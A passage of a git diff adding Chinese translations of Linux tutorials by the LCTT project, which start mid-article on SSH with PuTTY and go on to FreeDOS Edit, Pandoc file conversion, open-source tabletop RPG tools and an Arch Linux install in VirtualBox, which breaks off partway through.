+HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\SshHostKeys +``` + +输入正确的登录凭证,然后你应该进入控制台了,位置在你的用户主目录。 + +![Logged in to SSH][12] + +### 3、通过网络复制文件 + +除了远程控制台,你同样可以使用 PuTTY 通过 SSH 来传输文件。PuTTY 的安装目录在 `C:\Program Files (x86)\PuTTY`,在该目录下寻找 `ppscp.exe`。你既可以使用它从 Linux 系统复制文件,也可以复制文件到 Linux 系统。 + +使用 `Windows + R` 然后输入 `cmd` 来打开命令提示符,从你的 Linux 用户主目录复制 `MYFile.txt` 到你的 Windows 主目录,输入: + +``` +C:\"Program Files (x86)"\PuTTY\pscp.exe stephan@192.168.1.60:/home/stephan/MyFile.txt . +``` + +要从 Windows 主目录复制文件到 Linux 用户主目录,输入: + +``` +C:\"Program Files (x86)"\PuTTY\pscp.exe MyFile.txt stephan@192.168.1.60:/home/stephan/ +``` + +就像你也许已经发现的那样,复制的命令通常构造为: + +``` +pscp.exe +``` + +### 4、隧道化一个协议 + +假设你拥有一个 Linux 机器,为某些特别的应用运行一个基于 HTTP 的服务。你想从你的 Windows 机器通过互联网访问这个 HTTP 服务。而且,你不能将相关的 TCP 端口暴露在公网,因为: + + 1. 这个服务通过 HTTP 而非 HTTPS 运行 + 2. 根本没有用户管理和登录系统 + +乍一看,建立这种架构不产生可怕的漏洞似乎是不可能的。但是 SSH 可简单的为这种情况建立一个安全的解决方案。 + +我将用我的软件项目 [Pythonic][13] 来演示这个过程。在容器中运行。Pythonic 作为容器运行,开放两个 TCP 端口:TCP 端口 7000(主要编辑器)和 TCP 端口 8000([code-server][14] 代码编辑器)。 + +要在一个 Linux 机器上安装 Pythonic ,运行: + +``` +podman pull pythonicautomation/pythonic +podman run -d -p 7000:7000 -p 8000:8000 pythonic +``` + +转向你的 Windows 机器,打开 PuTTy,转到 “连接Connection -> SSH -> 隧道Tunnels”。加入你要转发的两个 TCP 端口: + + * 源:`7000` / 目标:`localhost:7000` + * 源:`8000` / 目标:`localhost:8000` + +![Port forwarding in PuTTY][15] + +然后返回 “会话Session” 部分,并像之前那样建立一个 SSH 链接。打开网页浏览器,然后转到 `http://localhost:7000`;你应该看见像这样的窗口: + +![Pythonic][16] + +你成功的设置了端口转发! + +**警告**: 如果你选择在公网上暴露 TCP 端口 22 ,不要使用易于猜测的登录凭证。你将接受来自全世界的登录请求,它们使用常见的、标准的登录凭证以尝试登录你的 Linux 机器。相反,只允许已知的用户登录。这种登录限制可以通过 [公钥加密][17] 来实现,它使用一个密钥对,其中公钥存储在 SSH 主机上,而私钥保留在客户端。 + +### 调试 + +如果你难以连接你的 Linux 机器,你可以跟踪你的 SSH 守护进程的处理过程: + +``` +journalctl -f -u sshd +``` + +这是一个普通的登录进程,但是其日志级别为 DEBUG,它看起来是这样的 : + +![LogLevel DEBUG output][18] + +### 了解更多 + +这篇文章几乎没有涉及到使用 SSH 的方法。如果你正在寻找一个特定用例的信息,你也许可以在互联网中找到无数的教程。我在工作中使用 PuTTY ,因为它易于设置,在两个操作系统间又具有良好的可操作性,使得它成为连接解决方案里的瑞士军刀。 + +(文内图片来自:Stephan Avenwedde,[CC BY-SA 4.0][8]) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/ssh-windows + +作者:[Stephan Avenwedde][a] +选题:[lujun9972][b] +译者:[yjacks](https://github.com/yjacks) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/hansic99 +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/cloud-windows-building-containers.png?itok=0XvZLZ8k (clouds in windows) +[2]: https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_overview +[3]: https://www.openssh.com/ +[4]: https://www.putty.org/ +[5]: mailto:aes256-gcm@openssh.com +[6]: https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html +[7]: https://opensource.com/sites/default/files/uploads/putty_connection_settings.png (PuTTY configuration screen) +[8]: https://creativecommons.org/licenses/by-sa/4.0/ +[9]: https://opensource.com/sites/default/files/uploads/putty_host_key.png (PutTTY security alert) +[10]: https://en.wikipedia.org/wiki/Man-in-the-middle_attack +[11]: https://en.wikipedia.org/wiki/MD5 +[12]: https://opensource.com/sites/default/files/uploads/ssh_successfull_login.png (Logged in to SSH) +[13]: https://github.com/hANSIc99/Pythonic +[14]: https://github.com/cdr/code-server +[15]: https://opensource.com/sites/default/files/uploads/ssh_port_forwarding.png (Port forwarding in PuTTY) +[16]: https://opensource.com/sites/default/files/uploads/pythonic_screen.png (Pythonic) +[17]: https://opensource.com/article/21/4/encryption-decryption-openssl +[18]: https://opensource.com/sites/default/files/uploads/sshd_debug_log.png (LogLevel DEBUG output) diff --git a/published/202207/20210611 How to use the FreeDOS text editor.md b/published/202207/20210611 How to use the FreeDOS text editor.md new file mode 100644 index 0000000000..43f6816f64 --- /dev/null +++ b/published/202207/20210611 How to use the FreeDOS text editor.md @@ -0,0 +1,80 @@ +[#]: subject: (How to use the FreeDOS text editor) +[#]: via: (https://opensource.com/article/21/6/freedos-text-editor) +[#]: author: (Jim Hall https://opensource.com/users/jim-hall) +[#]: collector: (lujun9972) +[#]: translator: (yjacks) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14847-1.html) + +如何使用 FreeDOS Edit +====== + +> FreeDOS 提供了一个叫做 FreeDOS Edit 的用户友好的文本编辑器。 + +![](https://img.linux.net.cn/data/attachment/album/202207/20/173027t6ctk5cwf9u988p9.jpg) + +在任何操作系统中,编辑文件都是一项常有的任务。当你想去做一个某事的笔记、写封信给朋友或升级一个系统配置 —— 你需要一个文本编辑器。FreeDOS 提供了一个用户友好的文本编辑器(也许没啥想象力)叫做 “FreeDOS Edit”。 + +### 编辑文件 + +最简单的启用 FreeDOS Edit 的方式就就是输入 `EDIT`。它提供一个空的编辑器窗口。图案背景显示为一个空的“桌面”——提醒你没有编辑任何文件。 + +![FreeDOS Edit:未加载任何文件][2] + +就像多数 DOS 应用程序一样,你可以按下你键盘上的 `Alt` 键来访问 Edit 的菜单。这就激活了这个菜单。在你按下 `Alt` 后,Edit 将切换到“菜单”访问方式,并高亮 “文件File” 菜单。如果你想要访问菜单栏上的一个不同的菜单,可以使用左右方向键。按向下的方向键并按下回车键来“进入”菜单。 + +![高亮菜单][3] + +你注意到所有菜单标题的第一个字母是不同的颜色么?这种高亮字母显示了一种快捷方式。例如,“文件File”菜单的“F”高亮为红色。所以你可以按下 `Alt+F`(`Alt` 和 `F` 同时按下),Edit 会显示“文件File”菜单。 + +![文件菜单][4] + +你可以使用“文件File”菜单来开始一个新的(空)文件,或打开一个存在的文件。让我们开始一个新文件,使用方向键移动到“新建New“然后按下回车键。你也可以用 `Ctrl+N` (`Ctrl` 和 `N` 同时按下)打开一个新文件。 + +![编辑一个新的文件][5] + +此后,编辑文件应该非常简单。大多数熟悉的快捷键都可以在 FreeDOS Edit 中使用:`Ctrl+C` 复制文本,`Ctrl+X` 剪贴文本,和 `Ctrl+V` 将复制的或剪贴的文本粘贴到新的地方。如果你需要在一个长文档中寻找一个特殊文本,按下 `Ctrl+F`。保存你的工作成果,请使用 `Ctrl+S` 以将变更提交到硬盘。 + +### 在 Edit 中编程 + +如果你是个程序员,你也许会发现扩展的 ASCII 表是一个有用的工具。DOS 系统支持“拓展的” ASCII字符集,通常被称之为“代码页 437”。0 到 127 的标准字符包括字母 A 到 Z(大写和小写)、数字和特殊字符,如标点符号。但是,从 128 到 255 的 DOS 拓展字符包括其它语言字符和“画线”元素。DOS 程序员有时需要使用这些拓展 ASCII 字符,所以 FreeDOS Edit 可以很容易地查看所有 ASCII 码和它们的相关字符的表格。 + +要查看这个 ASCII 表,请使用“工具Utilities”菜单,选择“ASCII 表ASCII Table”菜单项,这将显示一个包含该表格的窗口。 + +![在工具菜单找到 ASCII 表][6] + +沿着左边,这张表显示十六进制值“00”到“F0”,顶部展示了单一值“0”到“F”。这些为每个字符的十六进制代码提供了一个快速参考。例如,第一行(00)和第一列(0)中的项目具有十六进制值 00 + 0,即0x00(“NULL”值)。而第五行(40)和第二列(1)中的字符,其数值为 40 + 1,即 0x41(字母 “A”)。 + +![ASCII 表提供一个便于参考的扩展字符表][7] + +当你在表格内移动光标高亮不同的字符时,你会看到表格底部的值发生变化,展示了字符的十进制、十六进制和八进制编码。例如,移动光标以高亮在 C0 行和第 5 列的“行交叉”字符,显示这个扩展字符的代码为 197(十进制)、0xc5(十六进制)和 305(八进制)。在一个程序中,你可以通过输入十六进制值 0xc5 或八进制“转义代码” \305 来引用这个扩展字符。 + +![“行交叉”字符是 197(十进制)、0xc5(十六进制)和 305(八进制)][8] + +请随意浏览 Edit 中的菜单,以发现其他不错的功能。例如,“选项Options”菜单允许你更改 Edit 的行为和外观。如果你喜欢使用更密集的显示,可以使用“显示Display”菜单(在“选项Options”下)将 Edit + 设置为 25、43 或 50 行。你还可以强制 Edit 以单色(黑底白字)或反转模式(白底黑字)显示。 + +(文内图片来自 Jim Hall,CC-BY SA 4.0) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/freedos-text-editor + +作者:[Jim Hall][a] +选题:[lujun9972][b] +译者:[yjacks](https://github.com/yjacks) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/laptop_screen_desk_work_chat_text.png?itok=UXqIDRDD (Person using a laptop) +[2]: https://opensource.com/sites/default/files/uploads/edit.png (FreeDOS Edit without any files loaded) +[3]: https://opensource.com/sites/default/files/uploads/edit-menu.png (Highlighting the menu) +[4]: https://opensource.com/sites/default/files/uploads/edit-file.png (The File menu) +[5]: https://opensource.com/sites/default/files/uploads/edit-new.png (Editing a new file) +[6]: https://opensource.com/sites/default/files/uploads/utilities-ascii.png (Find the ASCII Table in the Utilities menu) +[7]: https://opensource.com/sites/default/files/uploads/ascii-table-0x00.png (The ASCII Table provides a handy reference for extended characters) +[8]: https://opensource.com/sites/default/files/uploads/ascii-0xc5.png diff --git a/published/202207/20210627 How to Convert File Formats With Pandoc in Linux -Quick Guide.md b/published/202207/20210627 How to Convert File Formats With Pandoc in Linux -Quick Guide.md new file mode 100644 index 0000000000..6125218224 --- /dev/null +++ b/published/202207/20210627 How to Convert File Formats With Pandoc in Linux -Quick Guide.md @@ -0,0 +1,137 @@ +[#]: subject: (How to Convert File Formats With Pandoc in Linux [Quick Guide]) +[#]: via: (https://itsfoss.com/pandoc-convert-file/) +[#]: author: (Bill Dyer https://itsfoss.com/author/bill/) +[#]: collector: (lujun9972) +[#]: translator: (lkxed) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14785-1.html) + +如何在 Linux 中使用 Pandoc 转换文件格式 +====== + +在之前的一篇文章中,我介绍了 [使用 pandoc 将少量 Markdown 文件批量转换为 HTML 的过程][1]。在那篇文章中,我创建了多个 HTML 文件,但 Pandoc 可以做的更多。它被称为文档转换的“瑞士军刀” —— 这是有充分理由的。很少有它做不到的事情。 + +[Pandoc][2] 可以将 .docx、.odt、.html、.epub、LaTeX、DocBook 等格式互相转换,或者转换为其他格式,例如 JATS、TEI Simple、AsciiDoc 等。 + +是的,这意味着 Pandoc 可以将 .docx 文件转换为 .pdf 和 .html 文件,但你可能会想:“Word 也可以将文件导出为 .pdf 和 .html。为什么我需要 Pandoc 呢?” + +嗯,本来呢,你这个说法也没错,但考虑到 Pandoc 可以转换这么多格式,它很可能成为你所有转换任务的首选工具。例如,我们中的许多人都知道 [Markdown 编辑器][3] 可以将其 Markdown 文件导出为 .html。而使用 Pandoc 文件也可以转换为许多其他格式。 + +我很少将 Markdown 导出为 HTML。我通常让 Pandoc 来做这件事。 + +### 使用 Pandoc 转换文件格式 + +![][4] + +本文中,我会将 Markdown 文件转换成几种不同的格式。我几乎所有的写作都使用 Markdown 语法,但我经常需要转换为另一种格式:学校作业通常需要的 .docx 格式;我创建的网页通常需要的 .html 格式;工作需要的 .epub 格式;传单和讲义需要的 .pdf 格式;甚至包括一个大学数字人文项目偶尔需要的 TEI Simple 格式。Pandoc 可以轻松处理所有这些格式,甚至更多。 + +首先,你需要 [安装 pandoc][5]。此外,要创建 .pdf 文件,还需要 LaTeX。我最喜欢的套件是 [TeX Live][6]。 + +**注意**:如果你想在安装前试用 pandoc,这里有一个在线试用页面:。 + +#### 安装 pandoc 和 texlive + +Ubuntu 和其他 Debian 发行版的用户可以在终端中输入以下命令: + +``` +sudo apt-get update +sudo apt-get install pandoc texlive +``` + +请注意第二行,你将一次性安装 `pandoc` 和 `texlive`。[apt-get 命令][7] 支持你这样做。不过,我建议你先去喝杯咖啡,因为这可能需要几分钟的时间。 + +#### 开始转换 + +安装完成 `pandoc` 和 `texlive` 后,你就可以尝试用它们来完成一些工作了! + +该项目的示例文档将是一篇文章,该文章于 1894 年 12 月首次发表在《北美评论》上,标题为“如何击退火车劫匪”。我将使用的 Markdown 文件是前一段时间创建的,该文章的一个恢复项目的一部分(LCTT 译注:这是篇一百多年前发表的文章,这是一个数字化“恢复”项目)。 + +我把这篇文章保存为 `how_to_repel_train_robbers.md`,它位于我的 `Documents` 目录下,名为 `samples` 的子目录中。它在 Ghostwriter 中看起来是这样的: + +![在 Ghostwriter 中查看原始的 Markdown 文件][8] + +我想创建此文件的 .docx、.pdf 和 .html 版本。 + +#### 第一次转换 + +首先,我将制作一个 .pdf 副本,因为我在安装 LaTeX 包时遇到了些麻烦。 + +在 `~/Documents/samples/` 目录中,我输入以下,以创建一个 .pdf 文件: + +``` +pandoc -o htrtr.pdf how_to_repel_train_robbers.md +``` + +上述命令将基于 `how_to_repel_train_robbers.md` 文件,创建一个名为 `htrtr.pdf` 的文件。我使用 `htrtr` 作为名称的原因是:嗯,它比 `how_to_repel_train_robbers` 短。`htrtr` 其实是长标题中的单词首字母排列。 + +这是 .pdf 文件制作完成后的一个截图: + +![在 Ocular 中查看的转换后的 PDF 文件][9] + +#### 第二次转换 + +接下来,我想创建一个 .docx 文件。该命令与我用来创建 .pdf 的命令几乎相同,它是: + +``` +pandoc -o htrtr.docx how_to_repel_train_robbers.md +``` + +很快,一个 .docx 文件就创建好了。这是它在 Libre Writer 中的样子: + +![在 Libre Writer 中查看转换后的 DOCX 文件][10] + +#### 第三次转换 + +我可能会想在网上发布这个,所以再多一个支持网页的格式也不错。我将使用以下命令创建一个 .html 文件: + +``` +pandoc -o htrtr.html how_to_repel_train_robbers.md +``` + +同样,创建它的命令与前两次转换非常相似。这是该 .html 文件在浏览器中的样子: + +![在 Firefox 中查看的转换后的 HTML 文件][11] + +#### 注意到什么了吗? + +让我们再看看之前的命令。它们是: + +``` +pandoc -o htrtr.pdf how_to_repel_train_robbers.md +pandoc -o htrtr.docx how_to_repel_train_robbers.md +pandoc -o htrtr.html how_to_repel_train_robbers.md +``` + +这三个命令唯一不同的是 `htrtr` 后的扩展名。这提示你 pandoc 会依赖于你提供的输出文件扩展名(来决定目标转换格式)。 + +### 总结 + +Pandoc 可以做的远不止这里完成的三个小转换。如果你选择使用一个首选格式编写文件,但时不时又需要将文件转换为另一种格式,pandoc 很大概率都能为你完成。 + +现在,既然你已经学会了,你会用它做什么呢?你会把它自动化吗?如果你有一个网站,想供读者下载文章怎么办?你可以修改这些小命令,把它们编写成一个脚本,你的读者可以决定他们想要哪种格式。你可以提供 .docx、.pdf、.odt、.epub 或更多格式。你的读者只需要选择一种格式,然后对应的转换脚本就会执行,最后,你的读者下载他们想要的文件。这是完全可以做到的。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/pandoc-convert-file/ + +作者:[Bill Dyer][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/bill/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/convert-markdown-files/ +[2]: https://pandoc.org/ +[3]: https://itsfoss.com/best-markdown-editors-linux/ +[4]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/06/pandoc-quick-guide.png?resize=800%2C450&ssl=1 +[5]: https://pandoc.org/installing.html +[6]: https://www.tug.org/texlive/ +[7]: https://itsfoss.com/apt-get-linux-guide/ +[8]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/06/convert_with_pandoc_ghostwriter.png?resize=800%2C516&ssl=1 +[9]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/06/convert_with_pandoc_ocular.png?resize=800%2C509&ssl=1 +[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/06/convert_with_pandoc_libre_writer.png?resize=800%2C545&ssl=1 +[11]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/06/convert_with_pandoc_firefox.png?resize=800%2C511&ssl=1 diff --git a/published/202207/20211017 How I use open source to play RPGs.md b/published/202207/20211017 How I use open source to play RPGs.md new file mode 100644 index 0000000000..b8ec151f5e --- /dev/null +++ b/published/202207/20211017 How I use open source to play RPGs.md @@ -0,0 +1,107 @@ +[#]: subject: "How I use open source to play RPGs" +[#]: via: "https://opensource.com/article/21/10/open-source-rpgs" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "perfiffer" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14859-1.html" + +我如何使用开源玩 RPG 游戏 +====== + +> 为角色扮演游戏的所有元素找到一个开源工具。 + +![](https://img.linux.net.cn/data/attachment/album/202207/24/075445ymf5nvigh4t4htfd.jpg) + +我玩过很多桌面角色扮演游戏(RPG),无论是从频率还是种类来说。一般来说,我更喜欢和朋友一起玩 RPG,但在过去的 2 年里,我一直在玩网络游戏。(LCTT 校注:这里的 RPG 游戏指的是那种“传统”的面对面的桌面游戏,而非很多人最初接触的 RPG 电子游戏。) + +起初,我不确定如何在线长期的进行游戏。我知道有很多的工具可以实现,但直到我发现在线桌面游戏的开源世界之前,这些工具没有一个引起我的兴趣。通过一小部分开源应用程序,我已经能够在开源平台上进行我的所有游戏。 + +这也是一年中的好时机,因为最近是 [免费 RPG 日][2](LCTT 校注:今年的这个节日在 7 月 23 日举办)。在免费 RPG 日,桌面角色扮演游戏行业的发行商们会免费发放游戏,鼓励玩家尝试新游戏和新冒险。尽管它在 2020 年被取消了,但今年它又作为现场活动回归,并通过 [Dungeon Crawl Classics][3] 和 [Paizo][4] 的免费 RPG 示例下载提供了一些虚拟支持。 + +如果这个活动提供的虚拟产品还不够,我还整理了一份 [你可能尚未尝试过的 5 个开源桌面 RPG 游戏列表][5]。 + +当你准备好开始玩游戏时,请尝试其中一些开源工具,看看它们能在多大程度上增强你的游戏体验。 + +### 聊天 + +在线 RPG 游戏最基本的(从技术上讲,也是唯一的)要求是交流。这是游戏的媒介:玩家需要一种说话的途径。 + +有几个不错的选择。我发现 [Mumble][6] 是对带宽需求最低的工具。这是一个纯语音聊天应用程序,可以使用非常高效的 Opus 编解码器让每个人一次交谈数小时而不会中断。 + +![Mumble client][7] + +它在世界各地都运行有公共实例,所以下载 Mumble 客户端后,你可以加入其中任何一个开放的实例,并使用它来在线运行游戏。有一个“按下通话”设置,你可以用此来消除背景噪音,当你的其他家庭成员在进行其它工作而不想被你的桌面会话打扰时,这个功能将会非常实用。 + +还有一个文本聊天客户端。我的游戏组通常使用它来发布与游戏相关的链接,但你也可以将其用于其它无关内容的交谈,而让口头游戏保持在主题上。 + +如果你的玩家更喜欢看到面部表情,或者只是习惯于视频聊天网页应用。那么 [Jitsi][8] 是面对面围坐在桌子旁聚会的绝佳替代品。Jitsi 和你曾经使用过的其它视频聊天软件几乎一样,甚至更简单。你可以设置一个“房间”,邀请朋友,将陌生人拒之门外,并玩上几个小时。静音和关闭摄像都很直观,界面很吸引人,并且还定期开发和推出了新功能。 + +![Jitsi][9] + +Mumble 和 Jitsi 都有适用于台式机和移动设备的客户端,因此任何人都可以在任何设备上使用。 + +### 角色表 + +我发布了我的 [数字角色表][10] 解决方案,但任何 RPG 玩家都知道管理角色不仅仅是统计数据。 + +在延续多个会话的在线游戏中,我发现每次游戏之间有很长的停止时间。我突然想到,虽然我发现要求我的玩家在现场纸笔游戏中计算损耗是不合理的,但当一切都是数字化时,要求他们跟踪损耗很容易。 + +网上有很多可用的电子表格,但开源的选择是 [Ethercalc][11]。由于其实例遍布世界各地,因此很容易找到免费的 Ethercalc 主机。或者,你可以使用 Podman 或者 Docker 轻松安装和运行你自己的实例。 + +![Ethercalc spreadsheet of inventory][12] + +Etherclac 提供了一些基本要素:一个共享的账本,这样玩家就可以跟踪他们的团队所携带的物品(以及在任何给定的时间持有该物品的人)、每件物品的重量和价值。当队伍在游戏过程中收集到战利品时,就会输入该物品,所以他们知道什么自己何时会因为负担过重而无法拿起新物品。 + +在不同的游戏会话之间,可以引用和整理这份共享的电子表格,以便玩家(PC)知道哪些物品可以卖掉,哪些物品可以放入储物袋,哪些物品可以在下一次会话发现更好的战利品时安全的丢弃。 + +### 地图 + +Mythic Table 是一款开源的桌面游戏共享地图系统。这意味着你可以加载图片作为游戏地图,并在地图上移动数字标记以表示玩家角色所在的位置。 + +自从 [上次我介绍了关于 Mythic Table][13] 以来,它已经在 Kickstarter 上成功地进行了一次众筹,以确保它的持续发展。它还增加了一些新功能,其中最引人注目的是“战争迷雾”功能,它允许地下城主掩盖地图并仅显示玩家探索过的部分。 + +![A dungeon map rendered by Mythic Table and user interface choices for chat, maps, and characters][14] + +在过去的几个月里,我一直在 Mythic Table 上运行两款游戏,这是一款优秀且直观的地图系统。它还提供了一个数字骰子筒,所以如果你的玩家没有骰子,或者你更喜欢在公开场合掷骰子,你就可以用它作为共享的骰子池。 + +你可以在 [mythictable.com][15] 上试用 Mythic Table,或者访问他们在 [Github][16] 上的代码库。 + +### 开源的开放游戏 + +我使用的开源工具是通用的,因此它们适用于你想玩的任何游戏系统。因为它们都是开源的,所以无论你的玩家使用什么操作系统,他们都可以在线使用,并且它们都可以自托管。 + +如果你既是程序员又是游戏玩家,请访问他们的 Git 代码仓库,看看是否有任何你可以贡献的东西。如果你是游戏玩家或者游戏管理员,在下次坐在数字版的游戏桌前请尝试使用一下这些工具。你可能会惊讶于你只需要很少的在线账户就可以使用一些可用于游戏的最佳应用程序。 + +*(文内图片来自:Seth Kenlon,CC-BY-SA 4.0)* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/10/open-source-rpgs + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[perfiffer](https://github.com/perfiffer) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/header_dice.png?itok=dOMrHopO (Dice as a random number generator) +[2]: https://www.freerpgday.com/ +[3]: https://goodman-games.com/blog/2021/10/06/pdf-previews-of-our-free-rpg-day-releases/ +[4]: https://paizo.com/community/blog/v5748dyo6shte +[5]: https://opensource.com/article/21/10/rpg-tabletop-games +[6]: http://mumble.info/ +[7]: https://opensource.com/sites/default/files/mumble-client.png (Mumble client) +[8]: https://jitsi.org/ +[9]: https://opensource.com/sites/default/files/jitsi-client.jpg (Jitsi) +[10]: https://opensource.com/article/21/10/3-ways-manage-your-character-sheets-open-source +[11]: http://ethercalc.net/ +[12]: https://opensource.com/sites/default/files/uploads/ethercalc.jpeg (Ethercalc) +[13]: https://opensource.com/article/20/11/open-source-battle-maps +[14]: https://opensource.com/sites/default/files/uploads/mythic.jpeg (Mythic Table) +[15]: http://mythictable.com/ +[16]: https://gitlab.com/mythicteam/mythictable diff --git a/published/202207/20211104 Beginner-s Guide to Installing Arch Linux on VirtualBox.md b/published/202207/20211104 Beginner-s Guide to Installing Arch Linux on VirtualBox.md new file mode 100644 index 0000000000..28d6c3f008 --- /dev/null +++ b/published/202207/20211104 Beginner-s Guide to Installing Arch Linux on VirtualBox.md @@ -0,0 +1,270 @@ +[#]: subject: "Beginner’s Guide to Installing Arch Linux on VirtualBox" +[#]: via: "https://itsfoss.com/install-arch-linux-virtualbox/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "hanszhao80" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14834-1.html" + +在 VirtualBox 安装 Arch Linux 的新手操作指南 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/16/100738bceesesazv6rsxl4.jpg) + +[Arch Linux 在桌面 Linux 世界中非常流行][1]。受欢迎的原因之一是 [安装 Arch Linux][2] 本身就是一项复杂的任务。 + +我没有夸大其词。安装 [Ubuntu 或 Debian][3] 比 Arch Linux 容易得多,因为官方没给后者提供图形界面的安装程序。 + +这时虚拟机就派上用场了。 + +你可以先在 VirtualBox 中尝试安装 Arch Linux,看看它是否是你想在实际硬件上运行的系统。通过这种方式,你可以在不弄乱当前操作系统的情况下体验 Arch Linux。 + +在本文,我将一步一步指导你完成一个实用的 Arch Linux 虚拟机的安装过程。 + +### 在 VirtualBox 上安装 Arch Linux + +毫无疑问,你需要先 [在 Linux 上安装 VirtualBox][4](或在 Windows 上)。在 Windows 上,只需访问 Oracle 的网站并下载 VirtualBox。 + +> **[下载 VirtualBox][5]** + +如果你使用的是 Windows 10 或更高版本,请确保你的系统已启用虚拟化。 + +完成后,你需要到 [Arch Linux 官方网站][6] 下载 ISO 文件。你应该找到 [使用 torrent 下载][7] 或直接下载文件的选项。 + +![][8] + +你可以保留 ISO 文件以备不时之需,安装成功后也可以将其删除以 [释放系统上的空间][9]。 + +现在,让我们开始在 VirtualBox 上安装 Arch Linux 吧。 + +#### 第一部分 创建虚拟机 + +**第一步**:首先,你需要在 VirtualBox 中设置一下。启动 VirtualBox 并单击 “新建New” 来创建一个虚拟机。 + +![][10] + +注意,你可以使用 “向导模式guided mode” 继续创建虚拟机,但使用 “专家模式expert mode” 可以一目了然地获得更多选项。 + +![][11] + +因此,我推荐使用专家模式来创建虚拟机。 + +不用担心,专家模式同样简单,只是多了一些额外的可选项,无需担心其他任何事情。 + +**第二步**:输入你的虚拟机名称。当你在 “名称Name” 字段中输入 “Arch Linux” 时,它会分别自动检测 “类型Type” 和 “版本Version”。 + +![][12] + +你应该增加内存大小以舒适地使用虚拟机。如果只是用于小型测试,你可以继续使用默认设置。 + +我在这个例子中分配了 **4 GB 左右的内存**。 + +另外,请确保在 “硬盘Hard disk”选项下选择 “现在创建虚拟硬盘create a virtual hard disk”。它应该是默认选项。 + +现在,继续设置虚拟硬盘大小。 + +**第三步**:你可以选择虚拟硬盘的存放位置,并根据你的需求调整大小。最小分配大小(8 GB)对于安装系统应该不是问题,但安全起见,你可能得分配至少 10 到 15 GB。 + +![][13] + +接下来,你需要将硬盘硬盘文件类型选择为 “VDI(VirtualBox Disk Image)” ,将存储选择为 “动态分配Dynamically assigned”,如上图所示。 + +VDI 是虚拟硬盘最常见的硬盘类型。 + +当你为硬盘存储选择 “动态分配Dynamically allocated” 选项时,这意味着存储空间将根据使用情况进行使用。换言之,当创建虚拟机后,并不会立即将这 15 GB 的空间从你的磁盘中锁定。 + +现在,你所要做的就是点击 “创建Create” 来添加虚拟机。 + +#### 第二部分 添加 ISO 文件以开始安装 Arch Linux + +![][14] + +当虚拟机在左侧列表中出现后,你可以查看其配置并在 “存储Storage” 选项下选择 ISO 文件作为磁盘驱动。 + +你也可以单独前往虚拟机设置以探索更多内容并选择 ISO 文件。 + +![][15] + +为此,你需要导航至虚拟机设置的 “存储Storage” 标签页。 + +![][16] + +在这里,你必须单击 “控制器Controller” 下的 “没有盘片Empty”,然后继续选择 Arch Linux ISO 文件作为磁盘文件(如上图所示)。 + +![][17] + +完成选择后,点击 “OK” 以保存设置的变更。 + +将 ISO 设置为要引导的磁盘时,虚拟机设置应如下所示: + +![][18] + +现在,点击 “启动Start” 启动虚拟机并开始安装。 + +#### 第三部分 使用引导式安装程序安装 Arch Linux + +使用 [介绍一个引导式安装程序][19] 的方法使安装 Arch Linux 变得更容易,也就是说,它为你提供了设置成熟的 Arch Linux 系统所需的所有选项。 + +因此,在引导式安装程序的帮助下,你不必单独安装桌面环境和其他基本软件包。你所要做的就是按照屏幕上的说明选择适合你的选项。 + +在本文中,我们将重点介绍引导式安装程序。如果你想自己做,你应该遵循我们的 [Arch 安装指南][2]。 + +继续安装流程,当你启动虚拟机时,将看到以下屏幕: + +![][20] + +第一个选项是理想的处理方式。如果你有特定的要求,可以选择其他选项来启动 Arch Linux。 + +现在,你应该正在查看一个终端窗口。以下是如何开始: + +**第一步**:输入 `archinstall` 以使用引导式安装程序启动安装。 + +![][21] + +**第二步**:根据你的要求选择键盘布局,美式布局应该是最常见的选择。简单地输入一个数字即可进行选择,如下图所示(例如,26): + +![][22] + +**第三步**:接下来,你需要选择一个区域来下载包。 + +![][23] + +选择首选地区而不是 “全球Worldwide”。这至关重要,因为如果你选择 **全球** 作为你的地区,它会下载许多不必要的包。 + +**第四步**:选择区域后,它会要求你选择驱动器进行安装。在这个例子中,我们已经创建了一个大约 15 GB 的虚拟驱动器,显示为 `/dev/sda`。 + 